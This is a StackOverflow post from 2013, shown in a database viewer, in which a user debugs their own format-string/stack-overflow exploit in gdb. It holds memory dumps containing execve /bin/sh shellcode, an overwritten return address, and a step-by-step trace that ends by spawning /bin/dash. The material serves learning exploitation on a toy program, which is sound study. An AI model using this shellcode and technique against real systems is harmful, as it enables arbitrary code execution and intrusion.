Databases
StackOverflow2013
Postsdbo
PO
 

Note that there are some explanatory texts on larger screens.

plurals
  1. PO
    primarykey
    data
    text
    <p>The addresses have changes a little bit, but I've done what you told me, I've used stepi and the results are:</p> <p>After the strcpy the memory looks like:</p> <pre><code>(gdb) x/50x $esp 0xbffff024: 0xbffff240 0xbffff040 0xbffff448 0xbffff050 0xbffff034: 0xbf000001 0xbffff040 0x00000004 0xbffff030 0xbffff044: 0xbffff031 0xbffff032 0xbffff033 0x315e1aeb 0xbffff054: 0x074688c0 0x5e891e8d 0x0c468908 0xf3890bb0 0xbffff064: 0x8d084e8d 0x80cd0c56 0xffffe1e8 0x69622fff 0xbffff074: 0x68732f6e 0x41414141 0x41414141 0x41414141 0xbffff084: 0x41414141 0x41414141 0x41414141 0x6e243625 0xbffff094: 0x41414141 0x41414141 0x41414141 0x41414141 </code></pre> <p>we can see that the address to jump to is now 0xbffff050, which is correct (there lies our shellcode).</p> <p>and then I execute stepi:</p> <pre><code>(gdb) i reg $eip eip 0x804846c 0x804846c &lt;foo+24&gt; (gdb) stepi 0x0804846d in foo (tmp=0x1 &lt;Address 0x1 out of bounds&gt;, format=0xbffff4f4 "_\366\377\277") at main.c:13 13 } </code></pre> <p>let's analyze a little bit:</p> <pre><code>(gdb) i reg $eip eip 0x804846d 0x804846d &lt;foo+25&gt; (gdb) x/4i $eip =&gt; 0x804846d &lt;foo+25&gt;: ret 0x804846e &lt;main&gt;: push ebp 0x804846f &lt;main+1&gt;: mov ebp,esp 0x8048471 &lt;main+3&gt;: sub esp,0x414 </code></pre> <p>ok if I do one more stepi, then the return should be executed and the execution jumped on the address: 0xbffff050.</p> <p>and stepi again to execute return:</p> <pre><code>(gdb) stepi 0xbffff050 in ?? () (gdb) x/4i $eip =&gt; 0xbffff050: jmp 0xbffff06c 0xbffff052: pop esi 0xbffff053: xor eax,eax 0xbffff055: mov BYTE PTR [esi+0x7],al 0xbffff058: lea ebx,[esi] 0xbffff05a: mov DWORD PTR [esi+0x8],ebx 0xbffff05d: mov DWORD PTR [esi+0xc],eax 0xbffff060: mov al,0xb (gdb) i reg $eip eip 0xbffff050 0xbffff050 </code></pre> <p>ok it tried to jump on the 0xbffff050, but didn't succeed or what? The EIP is still at 0xbffff050.</p> <p>The memory looks like:</p> <pre><code>(gdb) x/50x 0xbffff024 0xbffff024: 0xbffff240 0xbffff040 0xbffff448 0xbffff050 0xbffff034: 0xbf000001 0xbffff040 0x00000004 0xbffff030 0xbffff044: 0xbffff031 0xbffff032 0xbffff033 0x315e1aeb 0xbffff054: 0x074688c0 0x5e891e8d 0x0c468908 0xf3890bb0 0xbffff064: 0x8d084e8d 0x80cd0c56 0xffffe1e8 0x69622fff 0xbffff074: 0x68732f6e 0x41414141 0x41414141 0x41414141 0xbffff084: 0x41414141 0x41414141 0x41414141 0x6e243625 0xbffff094: 0x41414141 0x41414141 0x41414141 0x41414141 </code></pre> <p>I didn't use the $esp to display memory, because it has changed from 0xbffff024 to 0xbffff034.</p> <p>Ok, let's jump to 0xbffff06c (this is beginning of the shellcode):</p> <pre><code>(gdb) stepi 0xbffff06c in ?? () (gdb) x/4i $eip =&gt; 0xbffff06c: call 0xbffff052 </code></pre> <p>Ok, let's call the 0xbffff052:</p> <pre><code>(gdb) stepi 0xbffff052 in ?? () (gdb) x/4i $eip =&gt; 0xbffff052: pop esi 0xbffff053: xor eax,eax 0xbffff055: mov BYTE PTR [esi+0x7],al 0xbffff058: lea ebx,[esi] </code></pre> <p>Let's store ESI register with the return address from the previous call:</p> <pre><code>(gdb) stepi 0xbffff053 in ?? () (gdb) x/4i $eip =&gt; 0xbffff053: xor eax,eax 0xbffff055: mov BYTE PTR [esi+0x7],al 0xbffff058: lea ebx,[esi] 0xbffff05a: mov DWORD PTR [esi+0x8],ebx (gdb) i reg $esi esi 0xbffff071 -1073745807 </code></pre> <p>Let's set EAX to 0:</p> <pre><code>(gdb) stepi 0xbffff055 in ?? () (gdb) i reg $eax eax 0x0 0 </code></pre> <p>Let's write the null in the location in memory:</p> <pre><code>(gdb) x/4i $eip =&gt; 0xbffff055: mov BYTE PTR [esi+0x7],al 0xbffff058: lea ebx,[esi] 0xbffff05a: mov DWORD PTR [esi+0x8],ebx 0xbffff05d: mov DWORD PTR [esi+0xc],eax (gdb) x/20x $esp before: 0xbffff064: 0x8d084e8d 0x80cd0c56 0xffffe1e8 0x69622fff 0xbffff074: 0x68732f6e 0x41414141 0x41414141 0x41414141 after: 0xbffff064: 0x8d084e8d 0x80cd0c56 0xffffe1e8 0x69622fff 0xbffff074: 0x68732f6e 0x41414100 0x41414141 0x4141414 </code></pre> <p>Execute the LEA instruction:</p> <pre><code>(gdb) x/4i $eip =&gt; 0xbffff058: lea ebx,[esi] 0xbffff05a: mov DWORD PTR [esi+0x8],ebx 0xbffff05d: mov DWORD PTR [esi+0xc],eax 0xbffff060: mov al,0xb (gdb) x/x $esi 0xbffff071: 0x6e69622f (gdb) x/x $ebx 0x29aff4: 0x00158d7c (gdb) stepi 0xbffff05a in ?? () (gdb) x/x $ebx 0xbffff071: 0x6e69622f </code></pre> <p>Another memory change:</p> <pre><code>(gdb) x/4i $eip =&gt; 0xbffff05a: mov DWORD PTR [esi+0x8],ebx 0xbffff05d: mov DWORD PTR [esi+0xc],eax 0xbffff060: mov al,0xb 0xbffff062: mov ebx,esi (gdb) stepi 0xbffff05d in ?? () (gdb) stepi 0xbffff060 in ?? () (gdb) x/40x $esp 0xbffff064: 0x8d084e8d 0x80cd0c56 0xffffe1e8 0x69622fff 0xbffff074: 0x68732f6e 0xfff07100 0x000000bf 0x41414100 </code></pre> <p>Fill EAX with system call:</p> <pre><code>(gdb) x/4i $eip =&gt; 0xbffff060: mov al,0xb 0xbffff062: mov ebx,esi 0xbffff064: lea ecx,[esi+0x8] 0xbffff067: lea edx,[esi+0xc] (gdb) i reg $eax eax 0x0 0 (gdb) stepi 0xbffff062 in ?? () (gdb) i reg $eax eax 0xb 11 </code></pre> <p>Fill ebx, ecx, edx:</p> <pre><code>(gdb) x/4i $eip =&gt; 0xbffff062: mov ebx,esi 0xbffff064: lea ecx,[esi+0x8] 0xbffff067: lea edx,[esi+0xc] 0xbffff06a: int 0x80 (gdb) stepi 0xbffff064 in ?? () (gdb) stepi 0xbffff067 in ?? () (gdb) stepi 0xbffff06a in ?? () (gdb) i reg $eax $ebx $ecx $edx eax 0xb 11 ebx 0xbffff071 -1073745807 ecx 0xbffff079 -1073745799 edx 0xbffff07d -1073745795 </code></pre> <p>Execute the int instruction:</p> <pre><code>(gdb) x/4i $eip =&gt; 0xbffff06a: int 0x80 0xbffff06c: call 0xbffff052 0xbffff071: das 0xbffff072: bound ebp,QWORD PTR [ecx+0x6e] (gdb) stepi process 2863 is executing new program: /bin/dash Program exited normally. </code></pre> <p>And another stepi:</p> <pre><code>(gdb) stepi The program is not being run. </code></pre> <p>So I guess there's no error, it works. But the problem remains that when I start the program normally, I just don't get the /bin/dash console. The curios thing is that the process 2863 just exits immediately...without prompting for a shell in the gdb? Any ideas?</p>
    singulars
    1. This table or related slice is empty.
    1. POFormat string bugs - exploitation
      singulars
      1. PTQuestion
    1. PTAnswer
    1. USosgx
    1. USeleanor
    plurals
    1. This table or related slice is empty.
    1. This table or related slice is empty.
    1. This table or related slice is empty.
    1. This table or related slice is empty.
    1. This table or related slice is empty.
    1. CO"ok it tried to jump on the 0xbffff050, but didn't succeed or what?" - you dont. `x/4i $eip` will not execute anything. I'd should recommend use it Before each `stepi`.
      singulars
      1. PO
      1. USosgx
    2. COIf you look at the whole post I'm doing stepi all the way through... and yes it jumps on the 0xbffff050 all right. It executes the whole shellcode all right, but at the end it just ends immediately. And when running it in shell (not in gdb) nothing happens ... any thoughts?
      singulars
      1. PO
      1. USeleanor
    3. COI would mark problem as solved. As it can be seen from th trace, the overflow works fine, it was the addresses that were the problem, since they aren't the same when the program is run in shell or in gdb. Fixed. Thanks for all the help you guys.
      singulars
      1. PO
      1. USeleanor
 

Querying!

 
Guidance
A row detail

Detail views are divided into sections. All the information in the data section comes from columns in the selected row. The other sections display data from other, related rows.

Related data can be related in a to-one or a to-many fashion. Captions of data related in a to-many fashion link to a list view showing a filtered view of the table.

Try moving around until you find a non-empty to-many entry and click on the label to get to one. You can move back to the root by clicking on the database name in the header.

SQuiL has stopped working due to an internal error.

If you are curious you may find further information in the browser console, which is accessible through the devtools (F12).

Reload